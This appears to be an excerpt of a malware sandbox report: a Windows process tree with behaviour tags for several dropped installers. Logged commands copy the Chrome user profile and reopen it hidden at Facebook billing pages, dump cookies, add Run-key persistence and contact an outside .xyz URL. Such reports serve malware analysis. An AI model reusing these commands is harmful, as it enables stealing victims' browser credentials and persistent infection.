                                                                                                                                                                                                                                                                                              • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                              • Modifies registry class
                                                                                                                                                                                                                                                                                              • Modifies system certificate store
                                                                                                                                                                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                              • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                                                                                              PID:5196
                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "
                                                                                                                                                                                                                                                                                                10⤵
                                                                                                                                                                                                                                                                                                  PID:4908
                                                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
                                                                                                                                                                                                                                                                                                    tapinstall.exe remove tap0901
                                                                                                                                                                                                                                                                                                    11⤵
                                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                                    • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                                                    PID:6188
                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "
                                                                                                                                                                                                                                                                                                  10⤵
                                                                                                                                                                                                                                                                                                    PID:6436
                                                                                                                                                                                                                                                                                                    • C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
                                                                                                                                                                                                                                                                                                      tapinstall.exe install OemVista.inf tap0901
                                                                                                                                                                                                                                                                                                      11⤵
                                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                                                                                                                                                                      • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                      • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                                                      • Modifies system certificate store
                                                                                                                                                                                                                                                                                                      PID:6900
                                                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\MaskVPN\mask_svc.exe
                                                                                                                                                                                                                                                                                                    "C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall
                                                                                                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                                                                    PID:4108
                                                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\MaskVPN\mask_svc.exe
                                                                                                                                                                                                                                                                                                    "C:\Program Files (x86)\MaskVPN\mask_svc.exe" install
                                                                                                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                                                                    PID:11172
                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\bb1dohnq3je\IBInstaller_97039.exe
                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\bb1dohnq3je\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
                                                                                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                                PID:5564
                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-BU56I.tmp\IBInstaller_97039.tmp
                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-BU56I.tmp\IBInstaller_97039.tmp" /SL5="$204D2,9979514,721408,C:\Users\Admin\AppData\Local\Temp\bb1dohnq3je\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
                                                                                                                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                                                                                                  PID:5588
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                    "cmd.exe" /c start http://leatherclothesone.xyz/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=97039
                                                                                                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                                                                                                    • Checks computer location settings
                                                                                                                                                                                                                                                                                                    PID:6028
                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-3NS81.tmp\{app}\vdi_compiler.exe
                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-3NS81.tmp\{app}\vdi_compiler"
                                                                                                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                                    PID:6048
                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\nx1thavsjer\qiptm10f3wj.exe
                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\nx1thavsjer\qiptm10f3wj.exe" /quiet SILENT=1 AF=756
                                                                                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                • Enumerates connected drives
                                                                                                                                                                                                                                                                                                • Modifies system certificate store
                                                                                                                                                                                                                                                                                                • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                                                                                                PID:5612
                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=756 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\nx1thavsjer\qiptm10f3wj.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\nx1thavsjer\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1617780654 /quiet SILENT=1 AF=756 " AF="756" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912"
                                                                                                                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                                                                                                                    PID:6908
                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\1pa4eqxfjqo\setup_10.2_us3.exe
                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\1pa4eqxfjqo\setup_10.2_us3.exe" /silent
                                                                                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                                  PID:10764
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\8OB8K1X24F\setups.exe
                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\8OB8K1X24F\setups.exe" ll
                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                            PID:4356
                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-L9K4G.tmp\setups.tmp
                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-L9K4G.tmp\setups.tmp" /SL5="$60238,1873631,71168,C:\Users\Admin\AppData\Local\Temp\8OB8K1X24F\setups.exe" ll
                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                              • Checks computer location settings
                                                                                                                                                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                              PID:4736
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX1\Full Version.exe
                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Full Version.exe"
                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                          • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                          PID:2240
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                            "C:\Windows\System32\WScript.exe" "C:\Program Files\unins0000.vbs"
                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                              PID:692
                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                "C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install
                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                • Modifies registry class
                                                                                                                                                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                PID:4152
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe
                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"
                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                            • Drops Chrome extension
                                                                                                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                            PID:4516
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                              cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                PID:5076
                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                  taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                  PID:204
                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\xcopy.exe
                                                                                                                                                                                                                                                                                                xcopy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\" /s /e /y
                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                  PID:4652
                                                                                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --window-position=-50000,-50000 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" https://www.facebook.com/ https://www.facebook.com/pages/ https://secure.facebook.com/ads/manager/account_settings/account_billing/
                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                                                                                                  PID:4280
                                                                                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ff9873c6e00,0x7ff9873c6e10,0x7ff9873c6e20
                                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                                      PID:4860
                                                                                                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1592,6186275724302737133,3813521899180390542,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=2216 /prefetch:8
                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                        PID:5476
                                                                                                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1592,6186275724302737133,3813521899180390542,131072 --lang=en-US --service-sandbox-type=network --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=1652 /prefetch:8
                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                        PID:5468
                                                                                                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1592,6186275724302737133,3813521899180390542,131072 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1604 /prefetch:2
                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                          PID:5460
                                                                                                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,6186275724302737133,3813521899180390542,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2800 /prefetch:1
                                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                                            PID:5732
                                                                                                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,6186275724302737133,3813521899180390542,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2792 /prefetch:1
                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                              PID:5724
                                                                                                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,6186275724302737133,3813521899180390542,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3292 /prefetch:1
                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                PID:5796
                                                                                                                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,6186275724302737133,3813521899180390542,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3180 /prefetch:1
                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                  PID:5780
                                                                                                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,6186275724302737133,3813521899180390542,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3632 /prefetch:1
                                                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                                                    PID:5936
                                                                                                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,6186275724302737133,3813521899180390542,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3960 /prefetch:1
                                                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                                                      PID:6104
                                                                                                                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1592,6186275724302737133,3813521899180390542,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=4056 /prefetch:8
                                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                                        PID:7304
                                                                                                                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,6186275724302737133,3813521899180390542,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=4028 /prefetch:8
                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                          PID:10004
                                                                                                                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1592,6186275724302737133,3813521899180390542,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=4092 /prefetch:8
                                                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                                                            PID:10832
                                                                                                                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,6186275724302737133,3813521899180390542,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5424 /prefetch:1
                                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                                              PID:10636
                                                                                                                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,6186275724302737133,3813521899180390542,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5456 /prefetch:1
                                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                                PID:10020
                                                                                                                                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,6186275724302737133,3813521899180390542,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=908 /prefetch:1
                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                  PID:10584
                                                                                                                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,6186275724302737133,3813521899180390542,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5216 /prefetch:1
                                                                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                                                                    PID:10816
                                                                                                                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,6186275724302737133,3813521899180390542,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5256 /prefetch:1
                                                                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                                                                      PID:10956
                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe
                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"
                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                  PID:3652
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                    "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe" >> NUL
                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                      PID:2848
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                                                                                                                                                                        ping 127.0.0.1
                                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                                        • Runs ping.exe
                                                                                                                                                                                                                                                                                                                                        PID:4368
                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe
                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"
                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                    • Checks whether UAC is enabled
                                                                                                                                                                                                                                                                                                                                    PID:4036
                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe
                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe"
                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                      PID:10992
                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\7612975.exe
                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\7612975.exe"
                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                          PID:11080
                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\8868173.exe
                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\8868173.exe"
                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                          • Adds Run key to start application
                                                                                                                                                                                                                                                                                                                                          PID:11220
                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\Windows Host\Windows Host.exe
                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\Windows Host\Windows Host.exe"
                                                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                                                              PID:8360
                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\2256811.exe
                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\2256811.exe"
                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                            • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                                                            PID:4668
                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\2256811.exe
                                                                                                                                                                                                                                                                                                                                              "{path}"
                                                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                                                PID:11984
                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\4670150.exe
                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\4670150.exe"
                                                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                                                PID:6768
                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX1\gcttt.exe
                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\RarSFX1\gcttt.exe"
                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                PID:9588
                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                    PID:9004
                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                                      PID:9224
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                              • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                              • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                                              • Modifies registry class
                                                                                                                                                                                                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                              PID:5116
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                              • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                                              PID:4816
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                              • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                              PID:1872
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
